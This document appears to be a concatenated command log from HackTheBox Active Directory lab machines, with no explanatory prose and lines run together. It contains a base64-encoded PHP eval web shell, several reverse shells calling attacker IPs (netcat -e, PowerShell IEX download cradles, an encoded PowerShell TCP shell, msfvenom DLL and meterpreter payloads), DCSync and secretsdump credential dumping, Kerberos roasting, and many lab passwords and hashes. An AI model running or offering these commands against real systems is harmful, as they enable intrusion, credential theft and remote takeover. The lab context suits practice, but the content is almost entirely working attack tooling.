DQoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlcl9pZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJHJvd1snaWQnXTsgPz4iPg0KCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1wcmltYXJ5IiB2YWx1ZT0iRGVsZXRlIj4NCgkJCTwvZm9ybT4NCgkJPC9kaXY+DQoJPC9kaXY+DQo8L2Rpdj4NCjw/cGhwDQp9ICMgd2hpbGUgZW5kDQo/Pg0KPGJyPjxocj48YnI+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPGlucHV0IG5hbWU9ImluY2x1ZGUiIGhpZGRlbj4NCjwvZm9ybT4NCjw/cGhwDQppZihpc3NldCgkX1BPU1RbJ2luY2x1ZGUnXSkpDQp7DQppZigkX1BPU1RbJ2luY2x1ZGUnXSAhPT0gImluZGV4LnBocCIgKSANCmV2YWwoZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydpbmNsdWRlJ10pKTsNCmVsc2UNCmVjaG8oIiAtLS0tIEVSUk9SIC0tLS0gIik7DQp9DQo/Pg==" | base64 -d > master.phpcatnp master.phppython3 -m http.server 80python3 -m http.server 80
system("ipconfig");locate nc.exe
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .python3 -m http.server 80
system("certutil.exe -f -urlcache -split http://10.10.14.13/nc.exe C:\\Windows\\System32\\spool\\drivers\\color\\nc.exe");rlwrap nc -nlvp 443
system("C:\\Windows\\System32\\spool\\drivers\\color\\nc.exe -e cmd 10.10.14.13 443");whoami /privsqlcmd -U db_admin -P 'B1@hx31234567890' -S localhost -d streamio_backup -Q "SELECT * FROM users;"
sqlcmd -U db_admin -P 'B1@hx31234567890' -S localhost -d streamio -Q "SELECT * FROM users;"john -w:/usr/share/wordlists/rockyou.txt hashes --format=Raw-MD5evil-winrm -i 10.10.11.158 -u 'nikk37' -p 'get_dem_girls2@yahoo.com'wget https://github.com/peass-ng/PEASS-ng/releases/download/20241101-6f46e855/winPEASx64.exe
upload /home/kali/Desktop/HackTheBox/Windows/StreamIO/content/winPEASx64.exedownload key4.db
download logins.jsonpython /opt/firepwd/firepwd.py -d $(pwd)echo -e "admin,bJDg0dd1s@d0p3cr3@t0r\nnikk37,bn1kk1sd0p3t00:)\nyoshihide,bpaddpadd@12\nJDgodd,bpassword@12" | sed 's/,b/:/g' | awk '{print $1}' FS=":" > users.txt
echo -e "admin,bJDg0dd1s@d0p3cr3@t0r\nnikk37,bn1kk1sd0p3t00:)\nyoshihide,bpaddpadd@12\nJDgodd,bpassword@12" | sed 's/,b/:/g' | awk '{print $2}' FS=":" > passwords.txt
cat *.txtnetexec smb 10.10.11.158 -u users.txt -p passwords.txt --continue-on-successcatnp credentials.txtbloodhound-python -c all -u nikk37 -p 'get_dem_girls2@yahoo.com' -d streamIO.htb -ns 10.10.11.158upload /home/kali/Desktop/HackTheBox/Windows/StreamIO/content/PowerView.ps1
Import-Module .\PowerView.ps1$SecPassword = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('streamIO.htb\JDgodd', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Core Staff" -PrincipalIdentity 'JDgodd'
Add-DomainGroupMember -Identity 'Core staff' -Members 'JDgodd' -Credential $Crednet user JDgoddldapsearch -x -H ldap://10.10.11.158 -D JDgodd@streamio.htb -w 'JDg0dd1s@d0p3cr3@t0r' -b 'dc=streamIO,dc=htb' '(objectClass=computer)' ms-MCS-AdmPwdnetexec winrm 10.10.11.158 -u 'Administrator' -p 'o7LGXYb(VEU.nf'
evil-winrm -i 10.10.11.158 -u 'Administrator' -p 'o7LGXYb(VEU.nf'
Get-ChildItem -Path "C:\Users" -Recurse -Filter "root.txt" -ErrorAction SilentlyContinue | Where-Object { $_.Directory -like "*\Desktop" }nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.125 -oG allPortsnmap -sCV -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671 10.10.10.125 -oN targetedcatnp /etc/hosts | grep querier.htb.localnetexec smb 10.10.10.125smbclient -L 10.10.10.125 -N 2>/dev/nullsmbclient //10.10.10.125/Reportsolevba -c 'Currency Volume Report.xlsm'catnp credentials.txtnetexec smb 10.10.10.125 -u 'reporting' -p 'PcwTWTHRwryjc$c6'
netexec smb 10.10.10.125 -u 'reporting' -p 'PcwTWTHRwryjc$c6' -d WORKGROUPnetexec winrm 10.10.10.125 -u 'reporting' -p 'PcwTWTHRwryjc$c6' -d WORKGROUPmssqlclient.py WORKGROUP/reporting@10.10.10.125 2>/dev/null
mssqlclient.py WORKGROUP/reporting@10.10.10.125 -windows-auth 2>/dev/nullSP_CONFIGURE "show advanced options", 1
xp_cmdshell "whoami"smbserver.py smbFolder $(pwd) -smb2support
xp_dirtree \\10.10.14.13\smbFolder\catnp hash.txtjohn hash.txt --wordlist=/usr/share/wordlists/rockyou.txtnetexec smb 10.10.10.125 -u 'mssql-svc' -p 'corporate568'
netexec smb 10.10.10.125 -u 'mssql-svc' -p 'corporate568' -d WORKGROUPnetexec winrm 10.10.10.125 -u 'mssql-svc' -p 'corporate568' -d WORKGROUPmssqlclient.py WORKGROUP/mssql-svc@10.10.10.125 -windows-auth 2>/dev/nullSP_CONFIGURE "show advanced options", 1
RECONFIGURE
SP_CONFIGURE "xp_cmdshell", 1
RECONFIGURE
xp_cmdshell "whoami"wget https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1
mv Invoke-PowerShellTcp.ps1 PS.ps1catnp PS.ps1 | grep 10.10.14.13python3 -m http.server 80
rlwrap nc -nlvp 443
xp_cmdshell "powershell IEX(New-Object Net.WebClient).downloadString(\"http://10.10.14.13/PS.ps1\")"wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1catnp PowerUp.ps1| tail -n 1
python3 -m http.server 80
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.13/PowerUp.ps1')netexec winrm 10.10.10.125 -u 'Administrator' -p 'MyUnclesAreMarioAndLuigi!!1!'
netexec winrm 10.10.10.125 -u 'Administrator' -p 'MyUnclesAreMarioAndLuigi!!1!' -d WORKGROUPevil-winrm -i 10.10.10.125 -u 'Administrator' -p 'MyUnclesAreMarioAndLuigi!!1!'netexec smb 10.10.10.125 -u 'Administrator' -p 'MyUnclesAreMarioAndLuigi!!1!' -d WORKGROUP --sam 2>/dev/nullwmiexec.py WORKGROUP/Administrator@10.10.10.125 -hashes :2dcefe78334b42c0ce483b8e1b2886abNSrpcenum -e All -i 10.10.11.4smbclient -L //10.10.11.4 -Nnetexec smb 10.10.11.4 -u 'Guest' -p '' --rid-brutekerbrute userenum --dc 10.10.11.4 -d jab.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txtecho "VGhlIGltYWdlIGRhdGEgZ29lcyBoZXJlCg==" | base64 -d; echokerbrute userenum --dc 10.10.11.4 -d jab.htb userspidgin --debug | tee debug.txtcat debug.txt | grep -oP '(?<=<value>).*?(?=</value>)' | grep 'jab.htb' | sort -u | awk '{print $1}' FS="@" | grep -v "xmpp" > users.txtnetexec smb 10.10.11.4 -u 'jmontgomery' -p 'Midnight_121' -M spider_plusbloodhound-python -c all -u svc_openfire -p '!@#$%^&*(1qazxsw' -d jab.htb -ns 10.10.11.4impacket-dcomexec jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4
impacket-dcomexec jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'ping 10.10.14.14' -object MMC20 -silentcommand
tcpdump -i tun0 icmp -ncp /opt/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1
mv Invoke-PowerShellTcpOneLine.ps1 rev.ps1
catnp rev.ps1
cat rev.ps1 | iconv -t utf-16le | base64 -w 0; echoimpacket-dcomexec jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4AMQA0ACcALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAnAFAAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAAoA' -object MMC20 -silentcommand
rlwrap -cAr nc -nlvp 443netstat -an | findstr "LISTEN".python3 -m http.server 80
certutil -f -urlcache -split http://10.10.14.14/chisel.exe chisel.exe./chisel server --reverse -p 1234
.\chisel.exe client 10.10.14.14:1234 R:9090:127.0.0.1:9090nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.248 -oG allPortsnmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,9389,49666,49691,49692,49711,49726,49745 10.10.10.248 -oN targetedldapsearch -x -H ldap://10.10.10.248 -s base | grep defaultNamingContextcatnp /etc/hosts | grep intelligence.htbmv /home/kali/Descargas/2020-12-15-upload.pdf .
mv /home/kali/Descargas/2020-01-01-upload.pdf .
ls -lexiftool 2020-01-01-upload.pdf
exiftool 2020-12-15-upload.pdfcatnp pdfExtract.sh#!/bin/bash
for year in {2015..2024}; do
for month in {01..12}; do
for day in {01..31}; do
echo "http://10.10.10.248/documents/$year-$month-$day-upload.pdf"
done
done
done | xargs -n 1 -P 20 wget -q --show-progress 2>/dev/null./pdfExtract.shlsexiftool *.pdf -creator | awk 'NF{print $NF}' | grep -vE "\.pdf|read" | sort -u > ../users.txt
catnp users.txtkerbrute userenum --dc 10.10.10.248 -d intelligence.htb users.txtimpacket-GetNPUsers -no-pass -usersfile users.txt intelligence.htb/ 2>/dev/nullfor file in $(ls);do echo $file; done | grep -v users | while read filename; do pdftotext $filename; done
lscatnp *.txtcrackmapexec smb 10.10.10.248 -u users.txt -p 'NewIntelligenceCorpUser9876' --continue-on-successnetexec smb 10.10.10.248 -u 'Tiffany.Molina' -p 'NewIntelligenceCorpUser9876'impacket-GetUserSPNs -dc-ip 10.10.10.248 intelligence.htb/Tiffany.Molina:NewIntelligenceCorpUser9876 -requestldapdomaindump -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' 10.10.10.248 -o ldapnetexec smb 10.10.10.248 -u 'Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' --sharessmbmap -H 10.10.10.248 --no-banner -u 'Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r Users/Tiffany.Molina/Desktop
smbmap -H 10.10.10.248 --no-banner -u 'Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' --download Users/Tiffany.Molina/Desktop/user.txt
mv 10.10.10.248-Users_Tiffany.Molina_Desktop_user.txt user.txt
catnp user.txtsmbclient //10.10.10.248/IT -U 'Tiffany.Molina%NewIntelligenceCorpUser9876cat downdetector.ps1python3 /opt/krbrelayx/dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r webgzzcoo -a add -t A -d 10.10.14.13 10.10.10.248responder -I tun0hashcat hash.txt /usr/share/wordlists/rockyou.txtnetexec smb 10.10.10.248 -u 'Ted.Graves' -p 'Mr.Teddy'
netexec smb 10.10.10.248 -u 'Ted.Graves' -p 'Mr.Teddy' --sharescatnp credentials.txtbloodhound-python -c all -u Ted.Graves -p 'Mr.Teddy' -d intelligence.htb -ns 10.10.10.248python3 /opt/gMSADumper/gMSADumper.py -u 'Ted.Graves' -p 'Mr.Teddy' -l 10.10.10.248 -d 'intelligence.htb'pywerview get-netcomputer -u 'Ted.Graves' -t 10.10.10.248 --full-datagetST.py -spn WWW/intelligencet.htb -impersonate Administrator -dc-ip 10.10.10.248 intelligence.htb/svc_int -hashes :1d7a055a77db01cde7db3f4d006081fbnmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.172 -oG allPortsldapsearch -x -H ldap://10.10.10.172 -s base | grep defaultNamingContextcatnp /etc/hosts | grep megabank.localrpcclient -U "" 10.10.10.172 -N -c enumdomusers
rpcclient -U "" 10.10.10.172 -N -c enumdomusers | grep -oP '\[.*?\]' | grep -v "0x" | tr -d '[]' > users
catnp usersGetNPUsers.py -no-pass -usersfile users megabank.local/ 2>/dev/nullcrackmapexec smb 10.10.10.172 -u users -p users --continue-on-success 2>/dev/nullnetexec smb 10.10.10.172 -u SABatchJobs -p 'SABatchJobs' 2>/dev/nullcatnp credentials.txtnetexec smb 10.10.10.172 -u SABatchJobs -p 'SABatchJobs' --sharessmbclient //10.10.10.172/users$ -U 'SABatchJobs%SABatchJobs'catnp mhope/azure.xmlcrackmapexec smb 10.10.10.172 -u users -p '4n0therD4y@n0th3r$' --continue-on-success 2>/dev/nullcatnp credentials.txtnetexec winrm 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$' 2>/dev/nullevil-winrm -i 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$' 2>/dev/nullwhoami /priv
net user mhopecd C:\
cd Progra~1
dirmv /home/kali/Descargas/AdDecrypt.zip .
unzip AdDecrypt.zip
ls -l
upload /home/kali/Desktop/HackTheBox/Windows/Monteverde/content/AdDecrypt.exe
upload /home/kali/Desktop/HackTheBox/Windows/Monteverde/content/mcrypt.dllcd "C:\Program Files\Microsoft Azure AD Sync\Bin"
C:\Windows\Temp\AdDecrypt.exe -FullSQLnetexec winrm 10.10.10.172 -u Administrator -p 'd0m@in4dminyeah!' 2>/dev/nullevil-winrm -i 10.10.10.172 -u Administrator -p 'd0m@in4dminyeah!' 2>/dev/nullnmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.169 -oG allPortsnmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49671,49676,49677,49688,49907 10.10.10.169 -oN targetedldapsearch -x -H ldap://10.10.10.169 -s base | grep defaultNamingContextcatnp /etc/hosts | grep 10.10.10.169rpcclient -U "" 10.10.10.169 -NNSrpcenum -e DUsers -i 10.10.10.169 | awk '/\| /{print $2}' | grep -vE '^\s*$' > users.txt
catnp users.txtNSrpcenum -e DUsersInfo -i 10.10.10.169netexec smb 10.10.10.169 -u 'marko' -p 'Welcome123!'netexec smb 10.10.10.169 -u users.txt -p 'Welcome123!' --continue-on-successcatnp credentials.txtimpacket-GetNPUsers -no-pass -usersfile users.txt megabank.local/ 2>/dev/nullimpacket-GetUserSPNs -dc-ip 10.10.10.169 megabank.local/melanie -requestnetexec winrm 10.10.10.169 -u 'melanie' -p 'Welcome123!'evil-winrm -i 10.10.10.169 -u 'melanie' -p 'Welcome123!'cd C:\
dir -Force
cd PSTranscripts
dir -Force
cd 20191203
dir -Force
type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txtnetexec smb 10.10.10.169 -u 'ryan' -p 'Serv3r4Admin4cc123!'
netexec smb 10.10.10.169 -u 'ryan' -p 'Serv3r4Admin4cc123!' --shares
netexec winrm 10.10.10.169 -u 'ryan' -p 'Serv3r4Admin4cc123!'evil-winrm -i 10.10.10.169 -u 'ryan' -p 'Serv3r4Admin4cc123!'whoami /allmsfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.13 LPORT=443 -f dll -o pwn.dll
smbserver.py smbFolder $(pwd) -smb2support
rlwrap nc -nlvp 443dnscmd.exe /config /serverlevelplugindll \\10.10.14.13\smbFolder\pwn.dll
sc.exe stop dns
sc.exe start dnsnmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49166,49168 10.10.10.100 -oN targetedldapsearch -x -H ldap://10.10.10.100 -s base | grep defaultNamingContextcatnp /etc/hosts | grep active.htbenum4linux -a -u "" -p "" 10.10.10.100smbclient //10.10.10.100/Replication -Ncatnp Groups.xml
impacket-Get-GPPPassword -xmlfile Groups.xml 'LOCAL'
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQnetexec smb 10.10.10.100 -u SVC_TGS -p 'GPPstillStandingStrong2k18' --sharessmbclient //10.10.10.100/Users -U active.htb/SVC_TGScatnp user.txtimpacket-GetUserSPNs -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18 -requestcat hash.txtjohn --format=krb5tgs hash.txt --wordlist=/usr/share/wordlists/rockyou.txtsmbclient //10.10.10.100/Users -U active.htb/Administratornmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.161 -oG allPortsnmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49666,49667,49671,49676,49677,49684,49706 10.10.10.161 -oN targetedldapsearch -x -H ldap://10.10.10.161 -s base | grep defaultNamingContextcatnp /etc/hosts | grep htb.localrpcclient -U "" 10.10.10.161 -N -c enumdomusers | grep -oP '\[.*?\]' | grep -v "0x4" | tr -d '[]' > users
catnp usersimpacket-GetNPUsers -no-pass -usersfile users htb.local/ 2>/dev/nullcatnp hash.txthashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txtnetexec winrm 10.10.10.161 -u svc-alfresco -p 's3rvice'evil-winrm -i 10.10.10.161 -u svc-alfresco -p 's3rvice'upload SharpHound.exe
./SharpHound.exe --CollectionMethods Alldownload 20241026170412_BloodHound.zipnet user jr Password01! /add /domain
net group "Exchange Windows Permissions" jr /addnet localgroup "Remote Management Users" jr /addnetexec smb 10.10.10.161 -u jr -p 'Password01!' -d htb.localwget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1
upload PowerView.ps1
Import-Module .\PowerView.ps1$SecPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\jr', $SecPass)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jr -Rights DCSyncsecretsdump.py -just-dc htb.local/jr@10.10.10.161netexec winrm 10.10.10.161 -u Administrator -H '32693b11e6aa90eb43d32c72a07ceea6'evil-winrm -i 10.10.10.161 -u Administrator -H '32693b11e6aa90eb43d32c72a07ceea6'nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.152 -oG allPortsnmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49693 10.10.11.152 -oN targetedldapsearch -x -H ldap://10.10.11.152 -s base | grep defaultNamingContextcatnp /etc/hosts | grep timelapse.htbkerbrute userenum --dc 10.10.11.152 -d timelapse.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txtsmbclient -L 10.10.11.152 -N 2>/dev/nullnetexec smb 10.10.11.152 -u guest -p "" --sharessmbclient //10.10.11.152/Shares -U timelapse.htb/guestfcrackzip -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zipunzip winrm_backup.zipcrackpkcs12 -d /usr/share/wordlists/rockyou.txt zip_legacy_dev_auth.pfxopenssl pkcs12 -in zip_legacy_dev_auth.pfx -out certificate.pem -nodes
openssl rsa -in certificate.pem -out decrypted_certificate.keyevil-winrm -i 10.10.11.152 -S -c certificate.pem -k decrypted_certificate.keytype $env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtGet-ADUser -Filter * | Select-Object -ExpandProperty Name > usersAD.txt
download usersAD.txt
catnp usersAD.txtnetexec winrm 10.10.11.152 -u usersAD.txt -p 'E3R$Q62^12p7PLlC%KWaxuaV'evil-winrm -i 10.10.11.152 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -SGet-ADComputer -Filter * -Property ms-MCS-AdmPwd | Select-Object Name, ms-MCS-AdmPwdldapsearch -x -H ldap://10.10.11.152 -D 'svc_deploy' -w 'E3R$Q62^12p7PLlC%KWaxuaV' -b 'dc=timelapse,dc=htb' '(objectClass=computer)' ms-MCS-AdmPwdevil-winrm -i 10.10.11.152 -u Administrator -p '5n69pMl.b5{15%8sj9i(6A5g' -S
Get-ChildItem -Path "C:\Users" -Recurse -Filter "root.txt" -ErrorAction SilentlyContinue | Where-Object { $_.Directory -like "*\Desktop" }nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.182 -oG allPortsnmap -sCV -p53,88,135,139,389,445,636,3268,3269,5985,49154,49155,49157,49158,49165 10.10.10.182 -A -oN targetedldapsearch -x -H ldap://10.10.10.182 -s base | grep defaultNamingContext
netexec smb 10.10.10.182catnp /etc/hosts | grep cascade.localNSrpcenum -e DUsers -i 10.10.10.182enum4linux -a -u "" -p "" 10.10.10.182catnp users.txt
kerbrute userenum --dc 10.10.10.182 -d cascade.local users.txtimpacket-GetNPUsers -no-pass -usersfile users.txt cascade.local/ 2>/dev/null
impacket-GetNPUsers -no-pass -usersfile valid_domain_users.txt cascade.local/ 2>/dev/nullldapsearch -x -H ldap://10.10.10.182 -b "DC=cascade,DC=local" | grep -ie "pwd\|password"netexec smb 10.10.10.182 -u valid_domain_users.txt -p 'rY4n5eva' --continue-on-success
netexec smb 10.10.10.182 -u users.txt -p 'rY4n5eva' --continue-on-successimpacket-GetUserSPNs -dc-ip 10.10.10.182 cascade.local/r.thompson -requestnetexec smb 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva' --sharessmbmap -H 10.10.10.182 --no-banner -u 'r.thompson' -p 'rY4n5eva' -r DATA/smbclient //10.10.10.182/DATA -U 'r.thompson%rY4n5eva'cat "./IT/Email Archives/Meeting_Notes_June_2018.html"cat "./IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log"cat "./IT/Temp/s.smith/VNC Install.reg"echo '6b cf 2a 4b 6e 5a ca 0f' | xxd -r -p; echoecho '6b cf 2a 4b 6e 5a ca 0f' | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cvnetexec smb 10.10.10.182 -u users.txt -p 'sT333ve2' --continue-on-successcatnp credentials.txtnetexec winrm 10.10.10.182 -u s.smith -p 'sT333ve2'
evil-winrm -i 10.10.10.182 -u s.smith -p 'sT333ve2'netexec smb 10.10.10.182 -u 's.smith' -p 'sT333ve2' --shares
smbmap -H 10.10.10.182 --no-banner -u 's.smith' -p 'sT333ve2' -r Audit$/smbclient //10.10.10.182/Audit$ -U 's.smith%sT333ve2'strings Audit.dbsqlite3 Audit.db
SELECT * FROM LDAP;echo "BQO5l5Kj9MdErXx6Q6AGOw==" | base64 -d; echonetexec winrm 10.10.10.182 -u arksvc -p 'w3lc0meFr31nd'
evil-winrm -i 10.10.10.182 -u arksvc -p 'w3lc0meFr31nd'whoami /allGet-ADObject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects
Get-ADObject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects -Properties *echo "YmFDVDNyMWFOMDBkbGVz" | base64 -d; echo
netexec winrm 10.10.10.182 -u Administrator -p 'baCT3r1aN00dles'
evil-winrm -i 10.10.10.182 -u Administrator -p 'baCT3r1aN00dles'nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.175 -oG allPortsextractPorts allPortsnmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49677,49689,49696 10.10.10.175 -oN targetedcatnp /etc/hosts | grep EGOTISTICAL-BANK.localkerbrute userenum --dc 10.10.10.175 -d EGOTISTICAL-BANK.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txtcatnp users.txtusername-anarchy --input-file users.txt --select-format first,last,flast,first.last,firstl > generated-unames.txtwhile read username; do GetNPUsers.py egotistical-bank.local/"$username" -request -no-pass -dc-ip 10.10.10.175 >> hash.txt; done < generated-unames.txt 2>/dev/nullcatnp hash.txtecho '$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:4095933151da82e92a4df0d15357d70e$0cd4618143142a11f8681e4265a36886b95de4f9a8af9eea72320389fa1c012f9bde706b6854acb2309b587b2f5894a21bac2c2cab00cb2ba2e76467f911fa591fb1cfb892cb04e9ae2fd63e6a5c81468911478919db03741a0922f15551dd6e9b833a00e91eea6c76d3dc37a0924f91af0e510cbba04a6187bc709376357f38f3da94814d3c491c429dc1faca6f01bbe532b2fa01357713f4a6c9b59373c6dd241e2ebf706ac81148e442033a3dba95e0b7481acd832777838228b9995932caa76ec31cb943c5b127e021cb5f21d7ed9c5764efe1e1fec9bb303802e0625978944dc8e521787b288161d387bcef43c348b95699a5ac2ef33646a23d2cef743c' > fsmith.hashcatnp fsmith.hashhashcat -m 18200 fsmith.hash /usr/share/wordlists/rockyou.txtevil-winrm -i 10.10.10.175 -u fsmith -p 'Thestrokes23'upload winPEASx64.exe
./winPEASx64.exeimpacket-secretsdump -just-dc EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175evil-winrm -i 10.10.10.175 -u Administrator -H '823452073d75b9d1cf70ebdf86c7f98e'


❯ export IP=10.10.11.70
❯ iRecon "$IP"
Operadores de servidor
nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.145 -oG allPortsnmap -sCV -p443 10.10.11.145 -A -oN targeted -oX targetedXMLxsltproc targetedXML > index.html
python3 -m http.server 80whatweb https://atsserver.acute.localcatnp users.txt
username-anarchy --input-file users.txt --select-format flast > generated-unames.txt
catnp generated-unames.txtexiftool New_Starter_CheckList_v7.docxipconfigdir -Force
type desktop.iniqwinsta /server:127.0.0.1msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.3 LPORT=443 -f exe > shell.exe
msfconsolemsf6> use explot/multi/handler
msf6> set lhost 10.10.16.3
msf6> set port 443
msf6> set payload windows/meterpreter/reverse_tcp
msf6> run
python3 -m http.server
IWR-Uri http://10.10.16.3/shell.exe -OutFile shell.exe
.\shell.exe$SecPassword = ConvertTo-SecureString 'W3_4R3_th3_f0rce.' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('acute\imonks',$SecPassword)
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { whoami }Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { ls C:\Users\imonks\Desktop }
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { type C:\Users\imonks\Desktop\user.txt }Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { ls C:\Users\imonks\Desktop\wm.ps1 }
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { type C:\Users\imonks\Desktop\wm.ps1 }IWR -Uri http://10.10.16.7/nc.exe -Outfile C:\Utils\nc.exeInvoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { ((Get-Content C:\Users\imonks\Desktop\wm.ps1 -Raw) -Replace 'Get-Volume','cmd.exe /c C:\Utils\nc.exe -e cmd 10.10.16.7 443' ) }
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -ScriptBlock { ((Get-Content C:\Users\imonks\Desktop\wm.ps1 -Raw) -Replace 'Get-Volume','cmd.exe /c C:\Utils\nc.exe -e cmd 10.10.16.7 443') | Set-Content -Path C:\Users\imonks\Desktop\wm.ps1 }
